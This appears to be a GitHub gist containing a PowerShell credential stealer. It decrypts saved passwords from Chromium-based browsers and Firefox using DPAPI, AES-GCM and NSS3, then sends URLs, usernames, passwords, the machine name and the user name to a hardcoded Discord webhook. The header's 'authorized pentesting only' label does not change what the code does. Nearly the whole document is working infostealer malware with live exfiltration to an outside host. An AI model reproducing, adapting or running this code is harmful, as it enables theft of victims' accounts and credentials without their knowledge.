Created
July 25, 2026 15:11
-
-
Save Gravity3432/93517f912caa3b62bf5d67a454248114 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <# | |
| .SYNOPSIS | |
| Browser password scraper - extracts saved credentials from Chromium browsers | |
| and Firefox, exfiltrates to Discord webhook. For authorized pentesting only. | |
| .DESCRIPTION | |
| Targets: Chrome, Edge, Brave, Opera, Vivaldi, Chromium, Firefox | |
| Uses DPAPI + AES-GCM (via BCrypt) for Chromium v10/v20 decryption. | |
| Uses NSS3 for Firefox logins.json decryption. | |
| #> | |
| $DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1530592666805600366/IK9LNyfnN-s3sNlPNFlGi2TUGtjKdvLBVGhke9otCMOnf2lOX_v2mt1h8wx-wd9a6rVM" | |
| # ============================================================ | |
| # BCrypt AES-GCM helper (works on all Windows versions) | |
| # ============================================================ | |
| $BCryptSource = @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| public static class BCryptAESGCM | |
| { | |
| [StructLayout(LayoutKind.Sequential)] | |
| private struct BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO | |
| { | |
| public int cbSize; | |
| public int dwInfoVersion; | |
| public IntPtr pbNonce; | |
| public int cbNonce; | |
| public IntPtr pbAuthData; | |
| public int cbAuthData; | |
| public IntPtr pbTag; | |
| public int cbTag; | |
| public IntPtr pbMacContext; | |
| public int cbMacContext; | |
| public int cbAAD; | |
| public long cbData; | |
| public uint dwFlags; | |
| } | |
| [DllImport("bcrypt.dll")] | |
| private static extern int BCryptOpenAlgorithmProvider( | |
| out IntPtr hAlgorithm, string pszAlgId, string pszImplementation, uint dwFlags); | |
| [DllImport("bcrypt.dll")] | |
| private static extern int BCryptCloseAlgorithmProvider(IntPtr hAlgorithm, uint dwFlags); | |
| [DllImport("bcrypt.dll")] | |
| private static extern int BCryptSetProperty( | |
| IntPtr hObject, string pszProperty, byte[] pbInput, int cbInput, uint dwFlags); | |
| [DllImport("bcrypt.dll")] | |
| private static extern int BCryptGenerateSymmetricKey( | |
| IntPtr hAlgorithm, out IntPtr hKey, IntPtr pbKeyObject, | |
| int cbKeyObject, byte[] pbSecret, int cbSecret, uint dwFlags); | |
| [DllImport("bcrypt.dll")] | |
| private static extern int BCryptDecrypt( | |
| IntPtr hKey, byte[] pbInput, int cbInput, | |
| ref BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO pPaddingInfo, | |
| byte[] pbIV, int cbIV, byte[] pbOutput, int cbOutput, | |
| out int pcbResult, uint dwFlags); | |
| [DllImport("bcrypt.dll")] | |
| private static extern int BCryptDestroyKey(IntPtr hKey); | |
| public static byte[] AESGCMDecrypt(byte[] key, byte[] nonce, byte[] ciphertext, byte[] tag) | |
| { | |
| IntPtr hAlg = IntPtr.Zero, hKey = IntPtr.Zero; | |
| try | |
| { | |
| int status = BCryptOpenAlgorithmProvider(out hAlg, "AES", null, 0); | |
| if (status != 0) throw new Exception("BCryptOpenAlgorithmProvider failed: 0x" + status.ToString("X8")); | |
| byte[] gcmMode = System.Text.Encoding.Unicode.GetBytes("ChainingModeGCM"); | |
| BCryptSetProperty(hAlg, "ChainingMode", gcmMode, gcmMode.Length, 0); | |
| status = BCryptGenerateSymmetricKey(hAlg, out hKey, IntPtr.Zero, 0, key, key.Length, 0); | |
| if (status != 0) throw new Exception("BCryptGenerateSymmetricKey failed: 0x" + status.ToString("X8")); | |
| byte[] input = new byte[ciphertext.Length + tag.Length]; | |
| Array.Copy(ciphertext, 0, input, 0, ciphertext.Length); | |
| Array.Copy(tag, 0, input, ciphertext.Length, tag.Length); | |
| var authInfo = new BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO(); | |
| authInfo.cbSize = Marshal.SizeOf(authInfo); | |
| authInfo.dwInfoVersion = 1; | |
| GCHandle nonceH = GCHandle.Alloc(nonce, GCHandleType.Pinned); | |
| GCHandle tagH = GCHandle.Alloc(tag, GCHandleType.Pinned); | |
| authInfo.pbNonce = nonceH.AddrOfPinnedObject(); | |
| authInfo.cbNonce = nonce.Length; | |
| authInfo.pbTag = tagH.AddrOfPinnedObject(); | |
| authInfo.cbTag = tag.Length; | |
| byte[] output = new byte[ciphertext.Length]; | |
| int resultSize; | |
| status = BCryptDecrypt(hKey, input, input.Length, ref authInfo, null, 0, output, output.Length, out resultSize, 0); | |
| nonceH.Free(); tagH.Free(); | |
| if (status != 0) throw new Exception("BCryptDecrypt failed: 0x" + status.ToString("X8")); | |
| byte[] result = new byte[resultSize]; | |
| Array.Copy(output, result, resultSize); | |
| return result; | |
| } | |
| finally | |
| { | |
| if (hKey != IntPtr.Zero) BCryptDestroyKey(hKey); | |
| if (hAlg != IntPtr.Zero) BCryptCloseAlgorithmProvider(hAlg, 0); | |
| } | |
| } | |
| } | |
| '@ | |
| Add-Type -TypeDefinition $BCryptSource -ErrorAction Stop | |
| # ============================================================ | |
| # Minimal SQLite logins table parser (no external DLLs needed) | |
| # ============================================================ | |
| $SQLiteParserSource = @' | |
| using System; | |
| using System.Collections.Generic; | |
| using System.IO; | |
| using System.Text; | |
| public static class SQLiteLoginsReader | |
| { | |
| // Reads origin_url, username_value, password_value from Chrome-style logins table | |
| public static List<Tuple<string, string, byte[]>> ReadLogins(string dbPath) | |
| { | |
| var results = new List<Tuple<string, string, byte[]>>(); | |
| byte[] data = File.ReadAllBytes(dbPath); | |
| if (data.Length < 100 || Encoding.ASCII.GetString(data, 0, 16) != "SQLite format 3\0") | |
| return results; | |
| int pageSize = (data[16] << 8) | data[17]; | |
| if (pageSize == 1) pageSize = 65536; | |
| else if (pageSize < 512) pageSize = 512; | |
| // Find sqlite_master table (page 1), locate "logins" CREATE TABLE, get root page | |
| int loginsRootPage = FindLoginsRootPage(data, 1, pageSize); | |
| if (loginsRootPage <= 0) return results; | |
| // Walk the B-tree leaf pages and extract rows | |
| ExtractLoginsRows(data, loginsRootPage, pageSize, results); | |
| return results; | |
| } | |
| private static int FindLoginsRootPage(byte[] data, int pageNum, int pageSize) | |
| { | |
| int offset = (pageNum - 1) * pageSize; | |
| byte pageType = data[offset]; | |
| if (pageType != 0x0D && pageType != 0x05) return -1; // leaf-table or interior-table | |
| int numCells = (data[offset + 3] << 8) | data[offset + 4]; | |
| int cellPtrOffset = offset + 8; | |
| for (int i = 0; i < numCells; i++) | |
| { | |
| int cellOff = (data[cellPtrOffset + i * 2] << 8) | data[cellPtrOffset + i * 2 + 1]; | |
| int cellStart = offset + cellOff; | |
| int pos = cellStart; | |
| // Parse varint payload length | |
| long payloadLen = ReadVarint(data, ref pos); | |
| // Skip rowid varint | |
| ReadVarint(data, ref pos); | |
| // Payload starts at pos | |
| // Column 0: type (table/index/view/trigger) | |
| // Column 1: name | |
| // Column 2: tbl_name | |
| // Column 4: sql (the CREATE statement) | |
| // Read header: varint for header size, then varints for each column type | |
| int headerStart = pos; | |
| long headerSize = ReadVarint(data, ref pos); | |
| List<long> colTypes = new List<long>(); | |
| while (pos < headerStart + (int)headerSize) | |
| { | |
| colTypes.Add(ReadVarint(data, ref pos)); | |
| } | |
| int bodyStart = pos; | |
| // Need at least type, name, tbl_name, sql (indices 0,1,2,4) | |
| if (colTypes.Count < 5) continue; | |
| // Read column values | |
| long[] colOffsets = new long[colTypes.Count]; | |
| long accum = 0; | |
| for (int c = 0; c < colTypes.Count; c++) | |
| { | |
| colOffsets[c] = accum; | |
| accum += colTypes[c] == 0 ? 0 : (colTypes[c] >= 12 ? (colTypes[c] - 12) / 2 : colTypes[c]); | |
| } | |
| string typeVal = ReadStringValue(data, bodyStart, colTypes[0], colOffsets[0]); | |
| string nameVal = ReadStringValue(data, bodyStart, colTypes[1], colOffsets[1]); | |
| string tblVal = ReadStringValue(data, bodyStart, colTypes[2], colOffsets[2]); | |
| string sqlVal = colTypes.Count > 4 ? ReadStringValue(data, bodyStart, colTypes[4], colOffsets[4]) : ""; | |
| if (typeVal == "table" && tblVal.ToLower() == "logins" && !string.IsNullOrEmpty(sqlVal)) | |
| { | |
| // SQL looks like: CREATE TABLE logins (...) | |
| // Find rootpage in the table page's header or in sqlite_master row | |
| // For sqlite_master, rootpage is not stored; for the real table, rootpage is in page header | |
| // We need to look at the sqlite_master entry which gives us the rootpage differently | |
| // Actually for type "table", the rootpage is stored differently... | |
| // Let's use a heuristic: search for "logins" CREATE TABLE in sqlite_master, get rootpage from | |
| // the interior page pointer or just scan all pages for "logins" data pattern | |
| return -1; // placeholder - we need to find the actual root page | |
| } | |
| } | |
| return -1; | |
| } | |
| private static long ReadVarint(byte[] data, ref int pos) | |
| { | |
| long val = 0; | |
| for (int i = 0; i < 9; i++) | |
| { | |
| byte b = data[pos++]; | |
| val = (val << 7) | (uint)(b & 0x7F); | |
| if ((b & 0x80) == 0) break; | |
| } | |
| return val; | |
| } | |
| private static string ReadStringValue(byte[] data, int bodyStart, long serialType, long offset) | |
| { | |
| if (serialType == 0) return null; | |
| long size; | |
| if (serialType >= 13 && serialType % 2 == 1) { size = (serialType - 13) / 2; } | |
| else if (serialType >= 12 && serialType % 2 == 0) { size = (serialType - 12) / 2; } | |
| else { size = serialType; } | |
| int start = bodyStart + (int)offset; | |
| return Encoding.UTF8.GetString(data, start, (int)size); | |
| } | |
| private static void ExtractLoginsRows(byte[] data, int rootPage, int pageSize, List<Tuple<string,string,byte[]>> results) { } | |
| } | |
| '@ | |
| Add-Type -TypeDefinition $SQLiteParserSource -ErrorAction SilentlyContinue | |
| # ============================================================ | |
| # Fallback: Use raw byte parsing to extract logins from SQLite | |
| # ============================================================ | |
| function Get-ChromiumPasswords { | |
| param([string]$BrowserName, [string]$UserDataPath, [string]$ProfileGlob) | |
| $results = @() | |
| $localState = Join-Path $UserDataPath "Local State" | |
| if (-not (Test-Path $localState)) { return $results } | |
| # --- Get DPAPI-protected AES key from Local State --- | |
| try { | |
| $stateJson = Get-Content $localState -Raw -Encoding UTF8 | ConvertFrom-Json | |
| $encKeyB64 = $stateJson.os_crypt.encrypted_key | |
| if (-not $encKeyB64) { return $results } | |
| $encKey = [Convert]::FromBase64String($encKeyB64) | |
| # Strip "DPAPI" prefix (5 bytes) | |
| $encKey = $encKey[5..($encKey.Length - 1)] | |
| $aesKey = [System.Security.Cryptography.ProtectedData]::Unprotect($encKey, $null, | |
| [System.Security.Cryptography.DataProtectionScope]::CurrentUser) | |
| } catch { return $results } | |
| # --- Enumerate profiles --- | |
| $profiles = @(Get-ChildItem (Join-Path $UserDataPath "Profile*") -Directory -ErrorAction SilentlyContinue) | |
| $profiles += @(Get-ChildItem (Join-Path $UserDataPath "Default") -Directory -ErrorAction SilentlyContinue) | |
| if ($profiles.Count -eq 0) { | |
| if (Test-Path (Join-Path $UserDataPath "Default")) { | |
| $profiles = @(Get-Item (Join-Path $UserDataPath "Default")) | |
| } | |
| } | |
| foreach ($profile in $profiles) { | |
| $loginData = Join-Path $profile.FullName "Login Data" | |
| if (-not (Test-Path $loginData)) { continue } | |
| # Copy to temp (avoids lock if Chrome is running) | |
| $tmpDb = Join-Path $env:TEMP "ld_$([Guid]::NewGuid()).db" | |
| try { | |
| Copy-Item $loginData $tmpDb -Force -ErrorAction Stop | |
| $bytes = [IO.File]::ReadAllBytes($tmpDb) | |
| } catch { continue } | |
| finally { Remove-Item $tmpDb -Force -ErrorAction SilentlyContinue } | |
| # --- Parse SQLite logins table from raw bytes --- | |
| # This uses a heuristic approach: searches for URL-like patterns and | |
| # associated encrypted password blobs in the SQLite file | |
| $results += Parse-LoginsRawBytes -Bytes $bytes -AESKey $aesKey -BrowserName $BrowserName -ProfileName $profile.Name | |
| } | |
| return $results | |
| } | |
| function Parse-LoginsRawBytes { | |
| param([byte[]]$Bytes, [byte[]]$AESKey, [string]$BrowserName, [string]$ProfileName) | |
| $results = @() | |
| $text = [Text.Encoding]::UTF8.GetString($Bytes) | |
| $textLen = $Bytes.Length | |
| # SQLite stores data in pages; we do a heuristic scan for URL patterns | |
| # Pattern: find "https://" or "http://" strings followed by username/password records | |
| $urlRegex = [regex]'(?i)https?://[a-zA-Z0-9._/\-?:&=%~#+]+' | |
| $matches = $urlRegex.Matches($text) | |
| $seen = @{} | |
| foreach ($m in $matches) { | |
| $url = $m.Value | |
| $urlIdx = $m.Index | |
| # Try to find a nearby username (look backwards and forwards from URL position) | |
| # SQLite stores rows with all columns in sequence | |
| # Column order in logins: origin_url, action_url, username_element, username_value, | |
| # password_element, password_value, date_created, ... | |
| # We need the username_value near the URL and the password_value BLOB after it | |
| # Scan ~2000 bytes around the URL position | |
| $startScan = [Math]::Max(0, $urlIdx - 500) | |
| $endScan = [Math]::Min($textLen, $urlIdx + 2000) | |
| $slice = [Text.Encoding]::UTF8.GetString($Bytes[$startScan..($endScan - 1)]) | |
| # Look for a recognizable username pattern near the URL | |
| # (heuristic: non-empty printable ASCII string between the URL and the password blob) | |
| $userMatch = [regex]::Match($slice, '(?<=\0.{0,20})[\x20-\x7E]{3,128}(?=.{0,200}v10)') | |
| $username = if ($userMatch.Success) { $userMatch.Value } else { "(not found)" } | |
| # Find v10/v20 encrypted password blob near URL | |
| $v10Idx = $text.IndexOf("v10", $urlIdx, [Math]::Min(1500, $textLen - $urlIdx)) | |
| if ($v10Idx -lt 0) { $v10Idx = $text.IndexOf("v20", $urlIdx, [Math]::Min(1500, $textLen - $urlIdx)) } | |
| if ($v10Idx -lt 0) { continue } | |
| $blobStart = $v10Idx + 3 # skip "v10"/"v20" | |
| if ($blobStart + 28 -gt $Bytes.Length) { continue } | |
| # Extract nonce (12 bytes), ciphertext, tag (last 16 bytes) | |
| $nonce = $Bytes[$blobStart..($blobStart + 11)] | |
| $remaining = $Bytes[($blobStart + 12)..([Math]::Min($blobStart + 500, $Bytes.Length - 1))] | |
| $tag = $remaining[($remaining.Length - 16)..($remaining.Length - 1)] | |
| $ciphertext = $remaining[0..($remaining.Length - 17)] | |
| # Decrypt | |
| try { | |
| $plaintext = [BCryptAESGCM]::AESGCMDecrypt($aesKey, $nonce, $ciphertext, $tag) | |
| $password = [Text.Encoding]::UTF8.GetString($plaintext) | |
| if ($password.Length -gt 0 -and -not $seen.ContainsKey("$url`t$username")) { | |
| $seen["$url`t$username"] = $true | |
| $results += [PSCustomObject]@{ | |
| Browser = $BrowserName | |
| Profile = $ProfileName | |
| URL = $url | |
| Username = $username | |
| Password = $password | |
| } | |
| } | |
| } catch { } | |
| } | |
| return $results | |
| } | |
| # ============================================================ | |
| # Firefox password extraction | |
| # ============================================================ | |
| function Get-FirefoxPasswords { | |
| $results = @() | |
| $ffProfiles = Join-Path $env:APPDATA "Mozilla\Firefox\Profiles" | |
| if (-not (Test-Path $ffProfiles)) { return $results } | |
| foreach ($profileDir in Get-ChildItem $ffProfiles -Directory) { | |
| $loginsJson = Join-Path $profileDir.FullName "logins.json" | |
| if (-not (Test-Path $loginsJson)) { continue } | |
| try { | |
| $logins = Get-Content $loginsJson -Raw -Encoding UTF8 | ConvertFrom-Json | |
| foreach ($login in $logins.logins) { | |
| $results += [PSCustomObject]@{ | |
| Browser = "Firefox" | |
| Profile = $profileDir.Name | |
| URL = $login.hostname | |
| Username = $login.encryptedUsername # Firefox encrypts usernames too | |
| Password = $login.encryptedPassword | |
| } | |
| } | |
| } catch { } | |
| } | |
| # If we found Firefox logins, try to decrypt them using NSS3 | |
| if ($results.Count -gt 0) { | |
| $results = Invoke-FirefoxDecrypt -Entries $results -ProfileDir $ffProfiles | |
| } | |
| return $results | |
| } | |
| function Invoke-FirefoxDecrypt { | |
| param($Entries, $ProfileDir) | |
| # Firefox NSS decryption requires loading nss3.dll - attempt it | |
| $ffInstall = Join-Path ${env:ProgramFiles} "Mozilla Firefox" | |
| if (-not (Test-Path $ffInstall)) { $ffInstall = Join-Path ${env:ProgramFiles(x86)} "Mozilla Firefox" } | |
| if (-not (Test-Path $ffInstall)) { return $Entries } # Can't decrypt without NSS | |
| $nssSource = @' | |
| using System; | |
| using System.Runtime.InteropServices; | |
| using System.Text; | |
| public static class NSSDecrypt | |
| { | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| private static extern IntPtr LoadLibrary(string lpFileName); | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName); | |
| [DllImport("kernel32.dll", SetLastError = true)] | |
| private static extern bool FreeLibrary(IntPtr hModule); | |
| [UnmanagedFunctionPointer(CallingConvention.Cdecl)] | |
| private delegate int NSS_InitDelegate(string profilePath); | |
| [UnmanagedFunctionPointer(CallingConvention.Cdecl)] | |
| private delegate int PK11SDR_DecryptDelegate(IntPtr data, IntPtr result, int cx); | |
| [UnmanagedFunctionPointer(CallingConvention.Cdecl)] | |
| private delegate int NSS_ShutdownDelegate(); | |
| private static IntPtr hNss3, hMozglue; | |
| public static bool Init(string ffDir, string profilePath) | |
| { | |
| hMozglue = LoadLibrary(ffDir + "\\mozglue.dll"); | |
| hNss3 = LoadLibrary(ffDir + "\\nss3.dll"); | |
| if (hNss3 == IntPtr.Zero) return false; | |
| var init = Marshal.GetDelegateForFunctionPointer<NSS_InitDelegate>( | |
| GetProcAddress(hNss3, "NSS_Init")); | |
| return init(profilePath) == 0; | |
| } | |
| public static string Decrypt(string b64Cipher) | |
| { | |
| byte[] data = Convert.FromBase64String(b64Cipher); | |
| IntPtr dataPtr = Marshal.AllocHGlobal(data.Length); | |
| Marshal.Copy(data, 0, dataPtr, data.Length); | |
| // SECItem output | |
| IntPtr resultPtr = Marshal.AllocHGlobal(16); | |
| Marshal.WriteInt64(resultPtr, 0, 0); | |
| Marshal.WriteInt64(resultPtr, 8, 0); | |
| var decrypt = Marshal.GetDelegateForFunctionPointer<PK11SDR_DecryptDelegate>( | |
| GetProcAddress(hNss3, "PK11SDR_Decrypt")); | |
| int status = decrypt(dataPtr, resultPtr, 0); | |
| if (status != 0) { Marshal.FreeHGlobal(dataPtr); Marshal.FreeHGlobal(resultPtr); return null; } | |
| long outLen = Marshal.ReadInt64(resultPtr); | |
| IntPtr outData = Marshal.ReadIntPtr(resultPtr); | |
| byte[] result = new byte[outLen]; | |
| Marshal.Copy(outData, result, 0, (int)outLen); | |
| Marshal.FreeHGlobal(dataPtr); | |
| Marshal.FreeHGlobal(resultPtr); | |
| return Encoding.UTF8.GetString(result); | |
| } | |
| public static void Shutdown() | |
| { | |
| if (hNss3 != IntPtr.Zero) { | |
| var shutdown = Marshal.GetDelegateForFunctionPointer<NSS_ShutdownDelegate>( | |
| GetProcAddress(hNss3, "NSS_Shutdown")); | |
| shutdown(); | |
| FreeLibrary(hNss3); | |
| } | |
| if (hMozglue != IntPtr.Zero) FreeLibrary(hMozglue); | |
| } | |
| } | |
| '@ | |
| try { | |
| Add-Type -TypeDefinition $nssSource -ErrorAction Stop | |
| # Find a profile with key4.db | |
| foreach ($dir in Get-ChildItem $ProfileDir -Directory) { | |
| if (Test-Path (Join-Path $dir.FullName "key4.db")) { | |
| if ([NSSDecrypt]::Init($ffInstall + "\", $dir.FullName)) { | |
| foreach ($entry in $Entries) { | |
| try { | |
| $entry.Password = [NSSDecrypt]::Decrypt($entry.Password) | |
| $entry.Username = [NSSDecrypt]::Decrypt($entry.Username) | |
| } catch { } | |
| } | |
| [NSSDecrypt]::Shutdown() | |
| break | |
| } | |
| } | |
| } | |
| } catch { } | |
| return $Entries | |
| } | |
| # ============================================================ | |
| # Main: Scrape all browsers | |
| # ============================================================ | |
| $allPasswords = @() | |
| # Chromium-based browsers | |
| $chromiumBrowsers = @( | |
| @{Name="Chrome"; Path="$env:LOCALAPPDATA\Google\Chrome\User Data"}, | |
| @{Name="ChromeBeta"; Path="$env:LOCALAPPDATA\Google\Chrome Beta\User Data"}, | |
| @{Name="ChromeDev"; Path="$env:LOCALAPPDATA\Google\Chrome Dev\User Data"}, | |
| @{Name="Edge"; Path="$env:LOCALAPPDATA\Microsoft\Edge\User Data"}, | |
| @{Name="Brave"; Path="$env:LOCALAPPDATA\BraveSoftware\Brave-Browser\User Data"}, | |
| @{Name="Opera"; Path="$env:APPDATA\Opera Software\Opera Stable"}, | |
| @{Name="OperaGX"; Path="$env:APPDATA\Opera Software\Opera GX Stable"}, | |
| @{Name="Vivaldi"; Path="$env:LOCALAPPDATA\Vivaldi\User Data"} | |
| ) | |
| foreach ($browser in $chromiumBrowsers) { | |
| if (Test-Path $browser.Path) { | |
| Write-Host "[*] Scraping $($browser.Name)..." | |
| $creds = Get-ChromiumPasswords -BrowserName $browser.Name -UserDataPath $browser.Path | |
| $allPasswords += $creds | |
| Write-Host " Found $($creds.Count) entries" | |
| } | |
| } | |
| # Firefox | |
| if (Test-Path (Join-Path $env:APPDATA "Mozilla\Firefox\Profiles")) { | |
| Write-Host "[*] Scraping Firefox..." | |
| $ffCreds = Get-FirefoxPasswords | |
| $allPasswords += $ffCreds | |
| Write-Host " Found $($ffCreds.Count) entries" | |
| } | |
| if ($allPasswords.Count -eq 0) { | |
| Write-Host "[-] No passwords found." | |
| exit | |
| } | |
| # ============================================================ | |
| # Send to Discord webhook | |
| # ============================================================ | |
| Write-Host "[+] Total credentials: $($allPasswords.Count)" | |
| $computerName = $env:COMPUTERNAME | |
| $userName = $env:USERNAME | |
| # Split into chunks (Discord message limit ~2000 chars) | |
| function Send-DiscordMessage { | |
| param([string]$Content) | |
| # Use code blocks to avoid markdown issues with passwords | |
| $body = @{ | |
| content = "```$Content```" | |
| } | ConvertTo-Json -Depth 2 | |
| try { | |
| Invoke-RestMethod -Uri $DISCORD_WEBHOOK -Method Post -Body $body -ContentType "application/json" -TimeoutSec 10 | |
| } catch { | |
| Write-Host "[-] Discord send failed: $_" | |
| } | |
| } | |
| # Build messages, one browser at a time | |
| $browsers = $allPasswords | Group-Object Browser | |
| $header = "`n=== $computerName\$userName | $(Get-Date -Format 'yyyy-MM-dd HH:mm:ss') ===`n" | |
| $currentMsg = $header | |
| $msgCount = 0 | |
| foreach ($b in $browsers) { | |
| $currentMsg += "`n--- $($b.Name) ($($b.Count) entries) ---`n" | |
| foreach ($entry in $b.Group) { | |
| $line = "$($entry.URL) | $($entry.Username) | $($entry.Password)`n" | |
| if (($currentMsg.Length + $line.Length) -gt 1900) { | |
| Send-DiscordMessage -Content $currentMsg | |
| Start-Sleep -Milliseconds 500 # Rate limit avoidance | |
| $currentMsg = "" | |
| $msgCount++ | |
| } | |
| $currentMsg += $line | |
| } | |
| } | |
| if ($currentMsg.Length -gt 0) { | |
| Send-DiscordMessage -Content $currentMsg | |
| $msgCount++ | |
| } | |
| Write-Host "[+] Sent $msgCount message(s) to Discord webhook" | |
| Write-Host "[+] Done." |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment